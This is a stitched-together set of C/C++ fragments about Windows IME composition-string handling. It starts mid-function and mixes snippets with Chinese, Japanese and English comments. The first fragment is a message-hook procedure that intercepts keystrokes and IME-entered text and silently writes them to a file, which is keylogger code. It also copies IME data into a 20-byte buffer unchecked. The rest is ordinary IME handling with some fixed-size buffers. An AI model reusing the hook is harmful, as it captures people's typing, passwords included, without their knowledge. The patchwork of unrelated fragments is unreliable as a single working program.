DefWindowProc(hwnd, message, wParam, lParam); } return 0; }
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { LRESULT lResult = 1; HIMC hIMC; DWORD dwSize; char ch; char lpstr[20]; //LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); PMSG pmsg = (PMSG)lParam; HWND hWnd=pmsg->hwnd; if (nCode == HC_ACTION) { // switch (wParam) switch (pmsg->message) { case WM_IME_CHAR: case WM_IME_COMPOSITION: { if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if (!hIMC) { MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK); } // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... //MessageBox(NULL, lpstr, lpstr, MB_OK); fwrite(lpstr, strlen(lpstr), 1, f1); ImmReleaseContext(hWnd, hIMC); fflush(f1); } break; } case WM_CHAR: //截获发向焦点窗口的键盘消息 { ch=(char)(pmsg->wParam); fwrite(&ch, 1, 1, f1); fflush(f1); break; } default: break; }/* end switch */ } return lResult; }
//********************************************************************** // // void GetCompositionStr() // // This handles WM_IME_COMPOSITION message with GCS_COMPSTR flag on. // //********************************************************************** void GetCompositionStr( HWND hwnd, LPARAM CompFlag ) { LONG bufLen; // Stogare for len. of composition str LPSTR lpCompStr; // Pointer to composition str. HIMC hIMC; // Input context handle. HLOCAL hMem; // Memory handle. LPSTR lpCompStrAttr; // Pointer to composition str array. HLOCAL hMemAttr = NULL; // Memory handle for comp. str. array. LONG bufLenAttr; // // If fail to get input context handle then do nothing. // Applications should call ImmGetContext API to get // input context handle. // if ( !( hIMC = ImmGetContext( hwnd ) ) ) return; // // Determines how much memory space to store the composition string. // Applications should call ImmGetCompositionString with // GCS_COMPSTR flag on, buffer length zero, to get the bullfer // length. // bufLen = ImmGetCompositionString( hIMC, GCS_COMPSTR, (void*)NULL, 0l ); if ( ( IMM_ERROR_NODATA == bufLen) || ( IMM_ERROR_GENERAL == bufLen) ) { goto exit2; } // // Allocates memory with bufLen+1 bytes to store the composition // string. Here we allocale on more byte to put null character. // if ( !( hMem = LocalAlloc( LPTR, (int)bufLen + 1 ) ) ) goto exit2; if ( !( lpCompStr = (LPSTR) LocalLock( hMem ) ) ) goto exit1; // // Reads in the composition string. // ImmGetCompositionString( hIMC, GCS_COMPSTR, lpCompStr, bufLen ); // // Null terminated. // lpCompStr[ bufLen ] = 0; // // If GCS_COMPATTR flag is on, then we need to take care of it. // if ( CompFlag & GCS_COMPATTR ) { bufLenAttr = ImmGetCompositionString( hIMC, GCS_COMPATTR, (void*)NULL, 0l ); if ( ( IMM_ERROR_NODATA == bufLenAttr) || ( IMM_ERROR_GENERAL == bufLenAttr) ) { goto nothing; } // // Allocate memory to store attributes of composition strings. // if ( !( hMemAttr = LocalAlloc( LPTR, (int)bufLenAttr + 1 ) ) ) goto nothing; if ( !( lpCompStrAttr = (LPSTR) LocalLock( hMemAttr ) ) ) { LocalFree( hMemAttr ); goto nothing; } // // Reads in the attribute array. // ImmGetCompositionString( hIMC, GCS_COMPATTR, lpCompStrAttr, bufLenAttr ); lpCompStrAttr[ bufLenAttr ] = 0; } else { nothing: lpCompStrAttr = NULL; } // // Display new composition chars. // DisplayCompString( hwnd, lpCompStr, lpCompStrAttr ); // // Keep the length of the composition string for using later. // gImeUIData.uCompLen = (UINT)bufLen; LocalUnlock( hMem ); if ( lpCompStrAttr ) { if (NULL != hMemAttr) { LocalUnlock( hMemAttr ); LocalFree( hMemAttr ); } } exit1: LocalFree( hMem ); exit2: ImmReleaseContext( hwnd, hIMC ); }
bool onComposition(int status) { if(IsWindow(hwnd_)) { Context himc(hwnd_); if(!(status & GCS_RESULTSTR)){ cur_ = ImmGetCompositionString(himc, GCS_CURSORPOS, NULL, 0); // 属性情報読み取り DWORD size = ImmGetCompositionString(himc, GCS_COMPATTR, NULL, 0); attrs_.resize(size); ImmGetCompositionString(himc, GCS_COMPATTR, &attrs_[0], size); // 現在の変換候補を取得 size = ImmGetCompositionString(himc, GCS_COMPSTR, NULL, 0); str_.resize(size/sizeof(_TCHAR)+1); ImmGetCompositionString(himc, GCS_COMPSTR, (void *)str_.data(), size); str_[size/sizeof(_TCHAR)] = 0; return true; } else { cur_ = 0; str_.clear(); attrs_.clear(); return false; } } return false; }
BOOL CImeView::GetCompString(LONG flag) { DWORD len; // Stogare for len. of composition str LPSTR str; // Pointer to composition str. LPSTR strAttr; // Pointer to composition str array. DWORD lenAttr; if (!Enter()) return FALSE; if ((len = ImmGetCompositionString(m_hIMC, GCS_COMPSTR, NULL, 0)) > 0) { str = new char[len+1]; ImmGetCompositionString(m_hIMC, GCS_COMPSTR, str, len); str[len] = 0; strAttr = NULL; if (flag & GCS_COMPATTR) { if ((lenAttr = ImmGetCompositionString(m_hIMC, GCS_COMPATTR, NULL, 0)) > 0) { strAttr = new char[lenAttr+1]; ImmGetCompositionString(m_hIMC, GCS_COMPATTR, strAttr, lenAttr); strAttr[lenAttr] = 0; } } // Override function ProcessCompString(str, strAttr); m_nCompLen = (UINT)len; if (strAttr) delete strAttr; if (str) delete str; } Leave(); return TRUE; }
bool CIme::OnWM_IME_COMPOSITION( HWND hWnd, LPARAM lParam ){//输入改变 HIMC hIMC; DWORD dwSize; hIMC = ImmGetContext( hWnd ); if( lParam & GCS_COMPSTR ){ dwSize = ImmGetCompositionString( hIMC, GCS_COMPSTR, (void*)m_szCompStr, sizeof( m_szCompStr )); m_szCompStr[ dwSize ] = 0; }//取得szCompStr if( lParam & GCS_COMPREADSTR ){ dwSize = ImmGetCompositionString( hIMC, GCS_COMPREADSTR, (void*)m_szCompReadStr, sizeof( m_szCompReadStr )); m_szCompReadStr[ dwSize ] = 0; }//取得szCompReadStr if( lParam & GCS_CURSORPOS ){ m_nImeCursor = 0xffff & ImmGetCompositionString( hIMC, GCS_CURSORPOS, NULL, 0 ); }//?〉?.nImeCursor if( lParam & GCS_RESULTSTR ){ unsigned char str[ MAX_PATH ]; dwSize = ImmGetCompositionString( hIMC, GCS_RESULTSTR, (void*)str, sizeof( str ));//取得汉字输入串 str[ dwSize ] = 0; unsigned char *p = str; while( *p )PostMessage( hWnd, WM_CHAR, (WPARAM)(*p++), 1 );//转成WM_CHAR消息 } ImmReleaseContext( hWnd, hIMC ); return true;//总是返回true,防止ime窗口打开 }
//*********************************************************************** // // void GetResultStr() // // This handles WM_IME_COMPOSITION with GCS_RESULTSTR flag on. // //*********************************************************************** void GetResultStr( HWND hwnd ) { LONG bufLen; // Storage for length of result str. LPSTR lpResultStr; // Pointer to result string. HIMC hIMC; // Input context handle. HLOCAL hMem; // Memory handle. // // If fail to get input context handle then do nothing. // if ( !( hIMC = ImmGetContext( hwnd ) ) ) return; // // Determines how much memory space to store the result string. // Applications should call ImmGetCompositionString with // GCS_RESULTSTR flag on, buffer length zero, to get the bullfer // length. // if ( ( bufLen = ImmGetCompositionString( hIMC, GCS_RESULTSTR, (void *)NULL, (DWORD) 0 ) ) <= 0 ) goto exit2; // // Allocates memory with bufLen+1 bytes to store the result // string. Here we allocale on more byte to put null character. // if ( !( hMem = LocalAlloc( LPTR, (int)bufLen + 1 ) ) ) goto exit2; if ( !( lpResultStr = (LPSTR) LocalLock( hMem ) ) ) goto exit1; // // Reads in the result string. // ImmGetCompositionString( hIMC, GCS_RESULTSTR, lpResultStr, bufLen ); // // Displays the result string. // DisplayResultString( hwnd, lpResultStr ); LocalUnlock( hMem ); exit1: LocalFree( hMem ); exit2: ImmReleaseContext( hwnd, hIMC ); }